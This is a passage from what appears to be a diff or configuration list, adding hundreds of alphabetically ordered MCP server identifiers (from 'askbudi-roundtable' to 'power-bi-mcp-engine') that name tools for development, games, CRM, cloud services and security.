"mcp-server:askbudi-roundtable", + "mcp-server:aspire-learning", + "mcp-server:assistant-ui", + "mcp-server:asterisk-phone-system", + "mcp-server:atlas-pipeline", + "mcp-server:atomic-crm", + "mcp-server:atrax-mcp-proxy", + "mcp-server:aurai-advisor", + "mcp-server:auralis-commander", + "mcp-server:authz-proxy", + "mcp-server:auto-causal-inference", + "mcp-server:auto-crm", + "mcp-server:auto-om", + "mcp-server:auto-skill-loader", + "mcp-server:auto-snap", + "mcp-server:autocad-quality-check", + "mcp-server:autodesk-platform-services", + "mcp-server:automated-client-acquisition", + "mcp-server:automated-kyc", + "mcp-server:autonomous-lab", + "mcp-server:autostore-interface", + "mcp-server:aviation-edge", + "mcp-server:awesome-agent-skills", + "mcp-server:awesome-copilot", + "mcp-server:aws-cli", + "mcp-server:aws-mcp", + "mcp-server:awx-by-surgex-labs", + "mcp-server:ax-platform", + "mcp-server:axe-devtools", + "mcp-server:axle-lean-engine", + "mcp-server:background-job", + "mcp-server:background-process-manager", + "mcp-server:bacon-maker", + "mcp-server:bambu-lab-printer", + "mcp-server:bamm-fraxtal-defi", + "mcp-server:barrhawk-premium-e2e", + "mcp-server:base-gasless-deploy", + "mcp-server:base-wallet-toolkit", + "mcp-server:bash-command", + "mcp-server:bash-mode", + "mcp-server:bci-mcp-brain-computer-interface", + "mcp-server:better-auth", + "mcp-server:better-bear", + "mcp-server:better-godot", + "mcp-server:better-icons", + "mcp-server:better-mcp-file-server", + "mcp-server:better-notion", + "mcp-server:better-notion-ai-aviate", + "mcp-server:betterdb-monitor", + "mcp-server:bias-engine", + "mcp-server:billing-gateway", + "mcp-server:binary-ninja", + "mcp-server:binary-ninja-headless", + "mcp-server:binary-refinery", + "mcp-server:binassist-binary-ninja", + "mcp-server:bing-webmaster-tools", + "mcp-server:binspire-waste-management", + "mcp-server:bitbucket-mcp", + "mcp-server:blah-barely-logical-agent-host", + "mcp-server:blazor-components", + "mcp-server:blender-3d-modeling", + "mcp-server:blender-open-mcp", + "mcp-server:blockrunai-blockrun-mcp", + "mcp-server:blog-publisher", + "mcp-server:blogging-dev-to-hashnode", + "mcp-server:blowback-frontend-development", + "mcp-server:bmad-business-minded-agile-development", + "mcp-server:bmad-storage-gateway", + "mcp-server:board-stable", + "mcp-server:bonsai-bim-blender-ifc", + "mcp-server:books-discovery", + "mcp-server:bos-basic-orchestration-system", + "mcp-server:bounding-box", + "mcp-server:bpmn-modeler", + "mcp-server:bpmn-workflow-designer", + "mcp-server:bracketbot-multi-robot-control", + "mcp-server:branch-monkey", + "mcp-server:brandcode-studio", + "mcp-server:brasil-api-mcp-server", + "mcp-server:breez-lightning", + "mcp-server:bricks-builder", + "mcp-server:browseai-dev", + "mcp-server:browser-tools", + "mcp-server:bug-bounty-tools", + "mcp-server:build-mcp", + "mcp-server:bullhorn-crm", + "mcp-server:burp-suite", + "mcp-server:burpmcp-ultra", + "mcp-server:business-central", + "mcp-server:calc-tools", + "mcp-server:call-a-human", + "mcp-server:cameo-systems-modeler", + "mcp-server:camoufox-reverse", + "mcp-server:campus-assistant", + "mcp-server:campus-copilot", + "mcp-server:can-see", + "mcp-server:canon-camera-control", + "mcp-server:canva-dev", + "mcp-server:canvas-learning-management-system", + "mcp-server:capi-gateway", + "mcp-server:capital-equipment-network", + "mcp-server:captcha-solver", + "mcp-server:carlosahumada89-govrider-mcp-server", + "mcp-server:case-management", + "mcp-server:cat-printer", + "mcp-server:catalog-cli-pro", + "mcp-server:celestial-node", + "mcp-server:cesium-dev-tools", + "mcp-server:chain-love", + "mcp-server:chain-of-draft-prompt-tool", + "mcp-server:chain-of-thought-task-manager", + "mcp-server:chaparral-software", + "mcp-server:character-tools", + "mcp-server:charles-proxy", + "mcp-server:cheat-engine", + "mcp-server:cheat-engine-mcp", + "mcp-server:chinese-trends-hub", + "mcp-server:choturobo-arduino", + "mcp-server:christensen-strategy-advisor", + "mcp-server:chromadb-remote", + "mcp-server:chucknorris-l1b3rt4s-prompt-enhancer", + "mcp-server:cisco-aci", + "mcp-server:cisco-apic", + "mcp-server:cisco-cli", + "mcp-server:cisco-hyperfabric", + "mcp-server:cisco-intersight", + "mcp-server:cisco-ise", + "mcp-server:cisco-modeling-labs", + "mcp-server:cisco-webex-messaging", + "mcp-server:cit-mcp", + "mcp-server:civic-gateway", + "mcp-server:civic-nexus", + "mcp-server:ck-ask", + "mcp-server:clarifyprompt", + "mcp-server:claude-command-runner", + "mcp-server:cli", + "mcp-server:cli-exec", + "mcp-server:cli-executor", + "mcp-server:cli-secure", + "mcp-server:clickup-multi-workspace", + "mcp-server:clipboard-to-supabase", + "mcp-server:clojure-repl", + "mcp-server:cloudera-ai-agent-studio", + "mcp-server:cloudinary-structured-metadata", + "mcp-server:cmd-executor", + "mcp-server:coach-leo", + "mcp-server:coalesce-transform", + "mcp-server:coco-pair-programming-master", + "mcp-server:cocos-creator", + "mcp-server:codesavant-coding-assistant", + "mcp-server:codex-cli", + "mcp-server:codex-gopls", + "mcp-server:codex-jetbrains", + "mcp-server:codex-mcp-go", + "mcp-server:codex-octopus", + "mcp-server:codex-persistent", + "mcp-server:coding-assistant", + "mcp-server:coding-feature-discussion", + "mcp-server:coding-project-structure", + "mcp-server:coding-standards", + "mcp-server:coding-todo", + "mcp-server:comfyui-builder", + "mcp-server:command-executor", + "mcp-server:command-line", + "mcp-server:command-proxy", + "mcp-server:command-shell", + "mcp-server:commander", + "mcp-server:common-lisp-repl", + "mcp-server:company-enrichment", + "mcp-server:conda-executor", + "mcp-server:conductor", + "mcp-server:configuration-manager", + "mcp-server:console-terminal", + "mcp-server:constrained-optimization", + "mcp-server:consult-llm", + "mcp-server:contentful-management", + "mcp-server:contentful-official", + "mcp-server:copilot-cowork", + "mcp-server:corbat-coding-standards", + "mcp-server:core-lightning", + "mcp-server:corporate-dystopia-toolkit", + "mcp-server:cortex-xsiam-sdk", + "mcp-server:coze-workflows", + "mcp-server:craft-gtm", + "mcp-server:create-server-scaffold", + "mcp-server:creative-claw", + "mcp-server:creator", + "mcp-server:crewai-enterprise", + "mcp-server:crewai-near-intents", + "mcp-server:crewai-workflow", + "mcp-server:crewhaus-validation", + "mcp-server:cron-expression-parser", + "mcp-server:cron-pilot", + "mcp-server:crossword-tools", + "mcp-server:csv-editor", + "mcp-server:ctc-monitor", + "mcp-server:cua-mcp-server", + "mcp-server:currents-test-results", + "mcp-server:cursor-cloud-agents", + "mcp-server:cursor-mcp-installer", + "mcp-server:cutter-reverse-engineering", + "mcp-server:cv-forge", + "mcp-server:daemon-os", + "mcp-server:dafny-verifier", + "mcp-server:dart-project-management", + "mcp-server:data-everything-mcp-server-templates", + "mcp-server:dataforge-gateway", + "mcp-server:dataset-viewer", + "mcp-server:dataverse-devtools", + "mcp-server:dataverse-microsoft-powerplatform", + "mcp-server:dbt-cli", + "mcp-server:dc-hub", + "mcp-server:ddddocr-captcha-recognition", + "mcp-server:deadends-dev", + "mcp-server:dealhub-admin", + "mcp-server:dechonet-by-node-man", + "mcp-server:deco-site-loaders", + "mcp-server:deeplucid3d-unified-cognitive-processing-framework", + "mcp-server:deepplan-architecture-by-gapgapweiqi", + "mcp-server:delphi-build", + "mcp-server:delphi-compiler", + "mcp-server:demo-everything", + "mcp-server:demo-st", + "mcp-server:deno-kv", + "mcp-server:depwire-depwire", + "mcp-server:design-arena-router", + "mcp-server:design-system-analyzer", + "mcp-server:desktop-commander", + "mcp-server:desktop-pilot", + "mcp-server:detect-it-easy-die", + "mcp-server:dev-environment-sentinel", + "mcp-server:dev-kit", + "mcp-server:dev-proxy", + "mcp-server:dev-to", + "mcp-server:dev-tools", + "mcp-server:dev-workflow", + "mcp-server:developer-name", + "mcp-server:developer-tools", + "mcp-server:development-tooling", + "mcp-server:development-tools", + "mcp-server:devhub-cms", + "mcp-server:devops-practices", + "mcp-server:devops-toolkit", + "mcp-server:devserver-monitor", + "mcp-server:dify-ai", + "mcp-server:dify-ai-workflow", + "mcp-server:dify-dataset-retriever", + "mcp-server:dify-workflow", + "mcp-server:dify-workflows", + "mcp-server:directory-visualization", + "mcp-server:directus-cms", + "mcp-server:discovery-engine", + "mcp-server:divide-and-conquer-task-management", + "mcp-server:diy-helper-building-codes", + "mcp-server:django-ai-boost", + "mcp-server:django-migrations", + "mcp-server:dmvcframework-mcp", + "mcp-server:document-dev", + "mcp-server:domain-monitor", + "mcp-server:dos-games", + "mcp-server:download-tools-comfyui", + "mcp-server:dr-who-developer-tools", + "mcp-server:dreampoebot-eval", + "mcp-server:droid-cli", + "mcp-server:drupal", + "mcp-server:drupal-best-practices", + "mcp-server:drupal-tools", + "mcp-server:duaraghav8-mcpjungle", + "mcp-server:dummyjson-user-management", + "mcp-server:dynamic-mcp-server-creator", + "mcp-server:dynamics-365", + "mcp-server:dynatrace-support", + "mcp-server:dyson-sphere-program", + "mcp-server:easy-autocad", + "mcp-server:easy-digital-downloads", + "mcp-server:easy-model-deployer", + "mcp-server:easy-notion", + "mcp-server:easy-post", + "mcp-server:ebi-bioinformatics-tools", + "mcp-server:eclipse-jdt-language-server", + "mcp-server:eda-tools", + "mcp-server:edgar-tools", + "mcp-server:edgarriba-prolink", + "mcp-server:electronics-tools", + "mcp-server:elementor-wordpress", + "mcp-server:elizaos-agents", + "mcp-server:emacs-lisp-development", + "mcp-server:emerging-tech-center-gigs", + "mcp-server:emojikey-via-supabase", + "mcp-server:employee-leave-manager", + "mcp-server:emqx-tools", + "mcp-server:encode-toolkit", + "mcp-server:endnote-mcp", + "mcp-server:endor-labs", + "mcp-server:ens-dao-operations", + "mcp-server:enterprise-health-servicenow", + "mcp-server:entire-vc-evc-spark-mcp", + "mcp-server:ephor-collaboration", + "mcp-server:epss-exploit-prediction-scoring-system", + "mcp-server:epydios-policy-gateway", + "mcp-server:espadaw-agent47", + "mcp-server:espresso-testing-framework", + "mcp-server:ethereum-address-monitor", + "mcp-server:ethereum-blockchain-tools", + "mcp-server:ethereum-improvement-proposals-eips", + "mcp-server:etherscan-tools", + "mcp-server:eval-runner", + "mcp-server:eve-online-traffic", + "mcp-server:eventwhisper-windows-event-logs", + "mcp-server:everart-forge", + "mcp-server:everything-local-commands", + "mcp-server:excalidraw-architect", + "mcp-server:expose-json-rpc-proxy", + "mcp-server:extend-ai-toolkit", + "mcp-server:f1-race-engineer", + "mcp-server:fabric-pattern-tools", + "mcp-server:facebook-pages-manager", + "mcp-server:factorio-ai-companion", + "mcp-server:fashion-recommendation-system", + "mcp-server:fastapi-todo-list", + "mcp-server:fastmcp-todo", + "mcp-server:fastskills", + "mcp-server:feature-suggestions-supabase", + "mcp-server:feedback-loop", + "mcp-server:feishu-project", + "mcp-server:ferreteria-angular", + "mcp-server:ffmpeg-media-tools", + "mcp-server:fibaro-home-center-3", + "mcp-server:fintel-discovery", + "mcp-server:firecrawl-effect-ts", + "mcp-server:first-agentic-csa", + "mcp-server:fl-studio", + "mcp-server:flax-engine", + "mcp-server:fleet-device-management", + "mcp-server:flipt-feature-flag-management", + "mcp-server:flow-nexus", + "mcp-server:flow-studio", + "mcp-server:fluent-wordpress", + "mcp-server:flutter", + "mcp-server:flutter-maestro", + "mcp-server:flutter-skill", + "mcp-server:flutter-tools", + "mcp-server:fop-workflow", + "mcp-server:forge", + "mcp-server:forge-ethereum-smart-contract-development", + "mcp-server:forge-os", + "mcp-server:forge-space-branding", + "mcp-server:foundry-toolkit", + "mcp-server:foundry-vtt", + "mcp-server:frappe-dev", + "mcp-server:freqtrade-introspection", + "mcp-server:frida-game-hacking", + "mcp-server:frontend-design-loop", + "mcp-server:frontend-testing-jest-cypress", + "mcp-server:ftp-manager", + "mcp-server:ftp-server-manager", + "mcp-server:function-hub", + "mcp-server:funseaai-unity", + "mcp-server:furniture-designer", + "mcp-server:fusion-360-cam-assistant", + "mcp-server:game-deals", + "mcp-server:game-discovery", + "mcp-server:gas-library-hub", + "mcp-server:gateway", + "mcp-server:gatewaystack-chatgpt-starter", + "mcp-server:gb-studio", + "mcp-server:gb-studio-by-eoinjordan", + "mcp-server:generate-custom-mcps", + "mcp-server:geodesic-labs", + "mcp-server:geofs-flight-simulator", + "mcp-server:geth-proxy", + "mcp-server:ghidra-headless", + "mcp-server:gin-mcp", + "mcp-server:gis-operations", + "mcp-server:github-mcp-server-awesome-variant", + "mcp-server:glade-unity", + "mcp-server:glasstape-policy-builder", + "mcp-server:glenngillen-mcpmcp-server", + "mcp-server:glm-4-6-architecture-consultant", + "mcp-server:gmail-lead-nurturing", + "mcp-server:go-development-tools", + "mcp-server:go-tools-by-fabricators", + "mcp-server:godot", + "mcp-server:godot-4-runtime", + "mcp-server:godot-63-tools", + "mcp-server:godot-engine", + "mcp-server:godot-engine-full-control", + "mcp-server:godot-engine-integration", + "mcp-server:godot-forge", + "mcp-server:godot-gdscript-diagnostics", + "mcp-server:godot-peek", + "mcp-server:godot-script-integration", + "mcp-server:godot-studio", + "mcp-server:godotlens", + "mcp-server:godspeed-task-management", + "mcp-server:gohighlevel-by-tenfoldmarc", + "mcp-server:gopeak", + "mcp-server:gopls-go-language-server", + "mcp-server:gopls-mcp", + "mcp-server:gpt-mcp-proxy", + "mcp-server:gpu-bridge-mcp-server", + "mcp-server:grammarly-local", + "mcp-server:graphql-to-mcp", + "mcp-server:grasshopper-parametric-design", + "mcp-server:graylog-proxy", + "mcp-server:greyhack-tools", + "mcp-server:grok-cli", + "mcp-server:grok-x-com", + "mcp-server:grpc-reflection", + "mcp-server:gtd-project-manager", + "mcp-server:gtm-alpha-consultant", + "mcp-server:gtm-editor", + "mcp-server:gtm-pipeline", + "mcp-server:guardian-engine", + "mcp-server:hap-oauth", + "mcp-server:harbor-container-registry", + "mcp-server:harbor-registry", + "mcp-server:hardmcp-arr-suite", + "mcp-server:hatago-hub", + "mcp-server:headless-ida-pro", + "mcp-server:health-monitor", + "mcp-server:hedera-platform", + "mcp-server:hedera-testnet-mirror-node", + "mcp-server:hedera-toolbox", + "mcp-server:helper-tools", + "mcp-server:heroui-migration", + "mcp-server:heurist-mesh-web3-tools", + "mcp-server:hex-ssh", + "mcp-server:heybeauty-virtual-try-on", + "mcp-server:hi-ai-development-assistant", + "mcp-server:hide-headless-ide", + "mcp-server:hidrix-tools", + "mcp-server:hippycampus-openapi-tools", + "mcp-server:hr-assistant-agent", + "mcp-server:hr-policy-chatbot", + "mcp-server:ht-terminal", + "mcp-server:http-headers", + "mcp-server:http-oauth-auth0", + "mcp-server:http-proxy", + "mcp-server:http-request-testing", + "mcp-server:hub", + "mcp-server:hub-router", + "mcp-server:hub-tools", + "mcp-server:hugging-face", + "mcp-server:hugging-face-spaces", + "mcp-server:huggingface-spaces-connector", + "mcp-server:human-cli", + "mcp-server:human-design", + "mcp-server:human-in-the-loop", + "mcp-server:human-in-the-loop-discord", + "mcp-server:human-mcp", + "mcp-server:human-pages", + "mcp-server:humane-proxy", + "mcp-server:hwpx-editor", + "mcp-server:i18n-tools", + "mcp-server:i3-window-manager", + "mcp-server:ibm-as-400-iseries", + "mcp-server:ibm-maximo", + "mcp-server:ibm-maximo-mas-9-x", + "mcp-server:ibm-watsonx-ai", + "mcp-server:icd-10-cm-medical-coding", + "mcp-server:ida-auto", + "mcp-server:ida-pro", + "mcp-server:ida-pro-headless", + "mcp-server:ida-pro-mcp-pro", + "mcp-server:ida-pro-multi-instance", + "mcp-server:ida-pro-multi-session", + "mcp-server:ida-yes-mcp-export-plugin", + "mcp-server:ide-relay", + "mcp-server:idea-reality-check", + "mcp-server:ifc-building-information-modeling", + "mcp-server:iflytek-workflow", + "mcp-server:impact-framework-v2", + "mcp-server:impart-agent-orchestrator", + "mcp-server:index-network-user-profile", + "mcp-server:industrial-iot-monitoring", + "mcp-server:inked-writing-assistant", + "mcp-server:inspector-apm", + "mcp-server:interaction-mcp", + "mcp-server:interactive-brokers", + "mcp-server:interactive-brokers-tws", + "mcp-server:interactive-console", + "mcp-server:interactive-feedback", + "mcp-server:interactive-html-ui", + "mcp-server:interactive-leetcode", + "mcp-server:interactive-terminal", + "mcp-server:intercom-articles", + "mcp-server:intercom-support-tickets", + "mcp-server:internet-speed-test", + "mcp-server:investigation-game", + "mcp-server:investment-portfolio-manager", + "mcp-server:ios-development-tools", + "mcp-server:ipfs-storacha-network", + "mcp-server:irish-mcp", + "mcp-server:it-tools", + "mcp-server:iterm-terminal", + "mcp-server:iterm2-agent", + "mcp-server:iterm2-control", + "mcp-server:itsm-integration", + "mcp-server:javascript-webassembly-tools", + "mcp-server:jetbrains-ide", + "mcp-server:jetbrains-ide-plugin", + "mcp-server:jetbrains-ide-websocket-monitor", + "mcp-server:jetson-nano-management", + "mcp-server:jetson-remote-monitor", + "mcp-server:jmx-management", + "mcp-server:jpyc-manager", + "mcp-server:jsc-typescript-ast", + "mcp-server:just", + "mcp-server:just-mcp-to-cli", + "mcp-server:just-prompt-multi-llm-provider", + "mcp-server:k6-load-testing", + "mcp-server:kaito-query", + "mcp-server:kaitoi-studio", + "mcp-server:kakao-local", + "mcp-server:keeper-secrets-manager", + "mcp-server:keeta-network", + "mcp-server:keitaro-mcp", + "mcp-server:kenji-game-engine", + "mcp-server:kernel-platform", + "mcp-server:key-server", + "mcp-server:keyfactor-command", + "mcp-server:keyid-agent-kit", + "mcp-server:kicad-eda", + "mcp-server:kicad-pcb-design", + "mcp-server:kicad-pcb-designer", + "mcp-server:kiro-agents", + "mcp-server:kit", + "mcp-server:known-issue", + "mcp-server:kolmo-construction", + "mcp-server:kvm-control", + "mcp-server:kylas-crm", + "mcp-server:la-forge", + "mcp-server:label-studio", + "mcp-server:langchain-hub", + "mcp-server:langchain-integration", + "mcp-server:langchain-typescript", + "mcp-server:langfuse-prompt-management", + "mcp-server:langgraph-coding-team", + "mcp-server:language-server", + "mcp-server:laravel-companion", + "mcp-server:laravel-forge", + "mcp-server:laravel-helper-tools", + "mcp-server:laravel-telescope", + "mcp-server:launch-library", + "mcp-server:lead-qualifier", + "mcp-server:lean-all-in-one", + "mcp-server:learning-adapter", + "mcp-server:leave-management-system", + "mcp-server:lecroy-oscilloscope", + "mcp-server:ledd-mcp-audit", + "mcp-server:ledger-cli", + "mcp-server:leximo-call-assistant", + "mcp-server:lightcap-nexus", + "mcp-server:lightning-enable", + "mcp-server:lightning-nostr", + "mcp-server:lightning-tools", + "mcp-server:lilith-shell", + "mcp-server:linear-bootstrap", + "mcp-server:linear-issues", + "mcp-server:linear-regression", + "mcp-server:link-doctor", + "mcp-server:linkedin-job-assistant", + "mcp-server:linux-ssh", + "mcp-server:lisp-development", + "mcp-server:llama-local-llm", + "mcp-server:llm-advisor", + "mcp-server:llm-cli-gateway", + "mcp-server:llm-completions", + "mcp-server:llm-conveyors", + "mcp-server:llm-council", + "mcp-server:llm-gateway", + "mcp-server:llm-jukebox", + "mcp-server:llm-responses", + "mcp-server:llm-router", + "mcp-server:llm-txt-directory", + "mcp-server:llm-wiki", + "mcp-server:lm-studio", + "mcp-server:lm-studio-manager", + "mcp-server:local-by-flywheel", + "mcp-server:local-dev", + "mcp-server:local-linear", + "mcp-server:local-logs", + "mcp-server:local-mcp", + "mcp-server:local-pm", + "mcp-server:local-shell", + "mcp-server:local-skills", + "mcp-server:local-utilities", + "mcp-server:local-wikipedia", + "mcp-server:logic", + "mcp-server:logic-lm-answer-set-programming", + "mcp-server:logic-pro", + "mcp-server:logic-prover9-mace4", + "mcp-server:lowes-toolkit", + "mcp-server:lsp-mcp-rs", + "mcp-server:lsp-tools", + "mcp-server:ludo-game-assets", + "mcp-server:ludus-fastmcp", + "mcp-server:luma-events-discovery", + "mcp-server:lunch-flow", + "mcp-server:lvgl-esp32-simulator", + "mcp-server:m-team", + "mcp-server:mac-shell", + "mcp-server:macos-tools", + "mcp-server:maestro-flow", + "mcp-server:magento-2", + "mcp-server:magento-2-development", + "mcp-server:magento-coding-standards", + "mcp-server:magic-21st-dev", + "mcp-server:magic-the-gathering", + "mcp-server:make", + "mcp-server:make-com", + "mcp-server:make-mcp", + "mcp-server:makefile-make", + "mcp-server:mantra-chain-mcp", + "mcp-server:masa-orchestrator", + "mcp-server:mastercard-developers-toolkit", + "mcp-server:mastergo-design", + "mcp-server:materials-project", + "mcp-server:math-tools", + "mcp-server:matlab-mcp", + "mcp-server:matware-e2e-runner", + "mcp-server:mcp-advisor", + "mcp-server:mcp-all", + "mcp-server:mcp-analytics", + "mcp-server:mcp-apps-demo", + "mcp-server:mcp-cloud", + "mcp-server:mcp-daddy", + "mcp-server:mcp-db-utils", + "mcp-server:mcp-debug", + "mcp-server:mcp-docs", + "mcp-server:mcp-doctor", + "mcp-server:mcp-easy-copy", + "mcp-server:mcp-finder", + "mcp-server:mcp-fixer", + "mcp-server:mcp-fortress", + "mcp-server:mcp-gateway", + "mcp-server:mcp-gateway-by-panossalt", + "mcp-server:mcp-gateway-by-thsrite", + "mcp-server:mcp-guide", + "mcp-server:mcp-health-monitor", + "mcp-server:mcp-host-cli", + "mcp-server:mcp-inception", + "mcp-server:mcp-installer", + "mcp-server:mcp-lazy-load", + "mcp-server:mcp-link-blender", + "mcp-server:mcp-maker", + "mcp-server:mcp-manager", + "mcp-server:mcp-market-russia", + "mcp-server:mcp-memory-gateway", + "mcp-server:mcp-orchestrator", + "mcp-server:mcp-ossinsight", + "mcp-server:mcp-proxy-gateway", + "mcp-server:mcp-reasoner", + "mcp-server:mcp-registry", + "mcp-server:mcp-registry-notify", + "mcp-server:mcp-registry-search", + "mcp-server:mcp-science", + "mcp-server:mcp-security-stack", + "mcp-server:mcp-skill-server", + "mcp-server:mcp-test", + "mcp-server:mcp-to-mcp-tic-tac-toe", + "mcp-server:mcp-tool-factory", + "mcp-server:mcp-toolkit", + "mcp-server:mcp-u-microcontroller-interface", + "mcp-server:mcp-ui-widgets", + "mcp-server:mcpbundles-hub", + "mcp-server:mcpez-proxy-aggregator", + "mcp-server:mcphubs-gateway", + "mcp-server:mcpx", + "mcp-server:mcpx-control-plane", + "mcp-server:mcpx-proxy", + "mcp-server:mctx-example-app", + "mcp-server:md-todo", + "mcp-server:mdns-discovery", + "mcp-server:measure-events", + "mcp-server:media-forge", + "mcp-server:medical-agents-aop", + "mcp-server:meigen-ai-design", + "mcp-server:meraki-magic", + "mcp-server:mercury-spec-ops", + "mcp-server:mesh-status", + "mcp-server:meta-mcp-proxy", + "mcp-server:metal-framework", + "mcp-server:metasploit-framework", + "mcp-server:mh-labs-tools", + "mcp-server:mia-platform-console", + "mcp-server:michelin-guide", + "mcp-server:micromanage-task-flowchart-visualizer", + "mcp-server:microsoft-365", + "mcp-server:microsoft-365-roadmap", + "mcp-server:microsoft-dataverse", + "mcp-server:microsoft-edit", + "mcp-server:microsoft-enterprise", + "mcp-server:microsoft-entra-id", + "mcp-server:microsoft-fabric", + "mcp-server:microsoft-flight-simulator-sdk", + "mcp-server:microsoft-learn", + "mcp-server:microsoft-sentinel", + "mcp-server:microsoft-teams", + "mcp-server:microsoft-teams-transcripts", + "mcp-server:microsoft-to-do", + "mcp-server:microsoft-todo", + "mcp-server:mif-tools", + "mcp-server:mifactory-contratos", + "mcp-server:mifactory-spec-converter", + "mcp-server:minecraft", + "mcp-server:minecraft-bedrock-edition", + "mcp-server:minecraft-bot", + "mcp-server:minecraft-bot-control", + "mcp-server:minecraft-dedalus", + "mcp-server:minecraft-developer", + "mcp-server:minecraft-modding", + "mcp-server:minecraft-ops", + "mcp-server:minecraft-rcon", + "mcp-server:minecraft-remote", + "mcp-server:minecraft-survival", + "mcp-server:minesweeper-rails", + "mcp-server:minimax-coding-plan", + "mcp-server:minizinc-complex-logic-solver", + "mcp-server:mission-control", + "mcp-server:mitmproxy", + "mcp-server:mixin-safe", + "mcp-server:ml-lab", + "mcp-server:mlflow-prompt-registry", + "mcp-server:mobile-development-validator", + "mcp-server:model-id-cheatsheet", + "mcp-server:model-radar", + "mcp-server:model-runner", + "mcp-server:modular-tool-framework-jira-todo", + "mcp-server:module-federation-apps", + "mcp-server:modus-design-system", + "mcp-server:molecule-visualization-chimerax-pymol", + "mcp-server:moling-minecraft", + "mcp-server:monday-com", + "mcp-server:moqui-framework", + "mcp-server:motion-studio", + "mcp-server:motor-current-signature-analysis", + "mcp-server:mova-flat-runner", + "mcp-server:mpm-coding", + "mcp-server:msty-studio-desktop-admin", + "mcp-server:mt5-quant", + "mcp-server:mtg-commander", + "mcp-server:mtg-deck-manager", + "mcp-server:multi-agent-deep-researcher", + "mcp-server:multi-agent-orchestrator", + "mcp-server:multi-chain-crypto-wallet", + "mcp-server:multi-cli", + "mcp-server:multi-llm-api-gateway", + "mcp-server:multi-llm-cross-check", + "mcp-server:multi-mcp", + "mcp-server:multi-model-advisor-ollama", + "mcp-server:multi-server-integration", + "mcp-server:multi-service-gateway", + "mcp-server:multi-theft-auto-scripting", + "mcp-server:my-cool-proxy", + "mcp-server:my-prompts", + "mcp-server:mysearch-proxy", + "mcp-server:n8n", + "mcp-server:n8n-assistant", + "mcp-server:n8n-by-nextool-solutions", + "mcp-server:n8n-manager", + "mcp-server:n8n-monitoring", + "mcp-server:n8n-workflow", + "mcp-server:n8n-workflow-automation", + "mcp-server:n8n-workflow-builder", + "mcp-server:n8n-workflow-summarizer", + "mcp-server:n8n-workflow-validator", + "mcp-server:nace-codes", + "mcp-server:namewhisper-ens-tools", + "mcp-server:naninovel", + "mcp-server:nautobot-network-infrastructure", + "mcp-server:navigation-toolkit", + "mcp-server:navisworks-via-aps", + "mcp-server:nccn-guidelines", + "mcp-server:ncp-mcp-orchestrator", + "mcp-server:near-wallet-manager", + "mcp-server:nefesh-human-state", + "mcp-server:nekzus-utility-server", + "mcp-server:neri-castro-mcp-servers", + "mcp-server:nerve-network", + "mcp-server:nestjs-customer-service-backend", + "mcp-server:net", + "mcp-server:net-framework-development", + "mcp-server:net-template-engine", + "mcp-server:network-diagnostics", + "mcp-server:newsletter-tools", + "mcp-server:next-js-devtools", + "mcp-server:nextflow-developer-tools", + "mcp-server:nexus", + "mcp-server:nexus-multi-platform-productivity", + "mcp-server:nexus-vscode", + "mcp-server:nginx-proxy-manager", + "mcp-server:ngss-standards", + "mcp-server:node-omnibus", + "mcp-server:node-red", + "mcp-server:northeast-deal-intel", + "mcp-server:note-com", + "mcp-server:notion", + "mcp-server:notion-local-operations", + "mcp-server:notion-readonly", + "mcp-server:notion-todo", + "mcp-server:notion-via-dify", + "mcp-server:noto-crm", + "mcp-server:noun-project", + "mcp-server:npi-registry", + "mcp-server:npm-command-runner", + "mcp-server:nsaf-neuro-symbolic-autonomy-framework", + "mcp-server:nutanix-prism-central", + "mcp-server:nx-console", + "mcp-server:nymbo-tools", + "mcp-server:nyxtools-dicom-hl7", + "mcp-server:o-process", + "mcp-server:o-reilly-learning-platform", + "mcp-server:oaslananka-ssh", + "mcp-server:oauth-mcp-gateway", + "mcp-server:oauth2-gateway", + "mcp-server:obs-studio", + "mcp-server:obsidian-tools", + "mcp-server:ocaml-development-tools", + "mcp-server:oci-registry", + "mcp-server:octagon-vc-agents", + "mcp-server:octoeverywhere-template", + "mcp-server:octopus-deploy", + "mcp-server:octopus-energy-japan", + "mcp-server:octopus-llm-gateway", + "mcp-server:odin-print-farm", + "mcp-server:odoo-18-ce", + "mcp-server:odoo-accounting", + "mcp-server:odoo-assistant", + "mcp-server:odoo-erp", + "mcp-server:odoo-gateway", + "mcp-server:odoo-sh", + "mcp-server:okta-user-management", + "mcp-server:omie-erp", + "mcp-server:omori-toolkit", + "mcp-server:one", + "mcp-server:openai-agents", + "mcp-server:openai-agents-sdk", + "mcp-server:openai-compatible-gateway", + "mcp-server:openai-mcp", + "mcp-server:openapi-to-mcp", + "mcp-server:openclaw-agent-instruction-registry", + "mcp-server:openclaw-agent-tools", + "mcp-server:opentelemetry-collector", + "mcp-server:opentofu-registry", + "mcp-server:openui-studio", + "mcp-server:openziti-network", + "mcp-server:ops-unikernel-platform", + "mcp-server:or-tools", + "mcp-server:orchestrator", + "mcp-server:orderly-network", + "mcp-server:org-mcp", + "mcp-server:origin-sec-registry", + "mcp-server:orionbelt-semantic-layer", + "mcp-server:os-info", + "mcp-server:osint-toolkit", + "mcp-server:osp-marketing-tools", + "mcp-server:outlook-assistant", + "mcp-server:outlook-tools", + "mcp-server:oxc-ast-parser", + "mcp-server:ozmium-for-s-box", + "mcp-server:package-registry", + "mcp-server:packet-tracer", + "mcp-server:pads-logic-schematic-editor", + "mcp-server:page-design-guide", + "mcp-server:pal-multi-provider-ai", + "mcp-server:palantir-foundry", + "mcp-server:panther-labs", + "mcp-server:parse-platform", + "mcp-server:path-of-building", + "mcp-server:path-of-exile-2", + "mcp-server:patreon-mcp", + "mcp-server:pattern-language", + "mcp-server:payload-cms", + "mcp-server:pcap-network-analysis", + "mcp-server:pentest-tools", + "mcp-server:peppol-network", + "mcp-server:performance-co-pilot", + "mcp-server:permshell", + "mcp-server:perses-monitoring", + "mcp-server:persistent-terminal", + "mcp-server:personal-assistant", + "mcp-server:phos-labs-behavioral-science", + "mcp-server:phos-sales-engine", + "mcp-server:php-mcp", + "mcp-server:pi-auto", + "mcp-server:pine-labs-plural", + "mcp-server:pinecone-assistant", + "mcp-server:pipedream-gateway", + "mcp-server:pipedream-workflow-components", + "mcp-server:pipeline-orchestrator", + "mcp-server:pix-tools", + "mcp-server:plane-project-management", + "mcp-server:planning-center", + "mcp-server:plex-media-server", + "mcp-server:plutocalc-designer", + "mcp-server:pocket-mcp-manager", + "mcp-server:poku-labs-human-in-the-loop", + "mcp-server:poly-pizza-unity-integration", + "mcp-server:pomera-ai-commander-by-matbanik", + "mcp-server:pop-cli", + "mcp-server:postgrest-supabase", + "mcp-server:power-bi-admin", + "mcp-server:power-bi-mcp-engine", + 